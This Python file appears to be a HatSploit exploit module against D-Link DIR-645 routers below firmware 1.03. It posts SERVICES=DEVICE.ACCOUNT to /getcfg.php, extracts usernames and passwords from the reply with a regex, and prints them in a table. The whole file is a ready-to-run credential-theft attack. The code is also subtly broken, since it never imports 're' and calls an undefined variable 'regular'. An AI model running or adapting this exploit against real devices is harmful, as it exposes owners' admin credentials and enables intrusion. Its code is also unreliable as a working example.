#!/usr/bin/env python3

#
# This module requires HatSploit: https://hatsploit.netlify.app
# Current source: https://github.com/EntySec/HatSploit
#

from hatsploit.lib.module import Module
from hatsploit.utils.http import HTTPClient


class HatSploitModule(Module, HTTPClient):
    details = {
        'Name': "D-Link DIR-645 Credentials Disclosure",
        'Module': "exploit/unix/dlink/dir645_credentials_disclosure",
        'Authors': [
            'Ivan Nikolsky (enty8080) - module developer',
            'Roberto Paleari - vulnerability researcher'
        ],
        'Description': "D-Link DIR-645 < 1.03 credentials disclosure exploit.",
        'Comments': [
            ''
        ],
        'Platform': "unix",
        'Risk': "high"
    }

    options = {
        'RHOST': {
            'Description': "Remote host.",
            'Value': None,
            'Type': "ip",
            'Required': True
        },
        'RPORT': {
            'Description': "Remote port.",
            'Value': 81,
            'Type': "port",
            'Required': True
        }
    }

    def exploit(self, remote_host, remote_port):
        response = self.http_request(
            method="POST",
            host=remote_host,
            port=remote_port,
            path='/getcfg.php',
            data={
                "SERVICES": "DEVICE.ACCOUNT"
            }
        )

        regexp = "<name>(.+?)</name><usrid>(|.+?)</usrid><password>(|.+?)</password>"
        creds = re.findall(regular, re.sub(r'\s+', '', response.text))

        if len(creds):
            creds = tuple(tuple([item[0], item[2]]) for item in creds)
            self.print_table("Credentials", ('Username', 'Password'), *creds)
        else:
            self.output_error("Credentials could not be found!")

    def check(self, remote_host, remote_port):
        response = self.http_request(
            method="GET",
            host=remote_host,
            port=remote_port,
            path='/getcfg.php'
        )

        if not response or response.status_code != 200:
            self.output_error("Target is not vulnerable!")
            return False

        return True

    def run(self):
        remote_host, remote_port = self.parse_options(self.options)

        self.output_process(f"Exploiting {remote_host}...")

        if not self.check(remote_host, remote_port):
            self.output_error("Exploit failed!")
            return

        self.exploit(remote_host, remote_port)
